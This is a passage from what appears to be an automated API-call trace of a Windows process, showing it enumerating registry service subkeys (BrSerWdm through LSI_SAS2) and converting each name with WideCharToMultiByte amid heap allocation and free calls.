0x21f1ad8 [0259.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0259.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.803] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0259.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0259.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.803] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0259.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0259.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.804] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0259.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0259.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.804] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0259.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0259.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.804] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0259.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0259.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.804] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0259.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0259.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.805] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0259.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0259.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.805] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0259.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0259.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.805] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0259.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1d60, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0259.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0259.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0259.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0259.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0259.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0259.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0259.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0259.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0259.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0259.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0259.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0259.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0259.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0259.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0259.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0259.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0259.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0259.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0259.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0259.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0259.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0259.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0259.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0259.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0259.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0259.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0259.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0259.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0259.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0259.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0259.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0259.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0259.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0259.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0259.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0259.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0259.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0259.809] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0259.809] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0259.809] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0259.809] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0259.809] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0259.809] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0259.809] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0259.809] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0259.809] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0259.809] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0259.809] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0259.809] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0259.809] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0259.810] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0259.810] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0259.810] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0259.810] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0259.810] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0259.810] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0259.810] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0259.810] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0259.810] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0259.810] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0259.810] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0259.810] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0259.810] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0259.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0259.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0259.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0259.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0259.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0259.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0259.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0259.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0259.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0259.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0259.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0259.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0259.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0259.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0259.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0259.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0259.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0259.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0259.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0259.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0259.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0259.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0259.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0259.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0259.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0259.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0259.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0259.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0259.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0259.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0259.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0259.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0259.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0259.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0259.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0259.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0259.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0259.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0259.814] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0259.814] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0259.814] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0259.814] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0259.814] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0259.814] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0259.814] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0259.814] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: 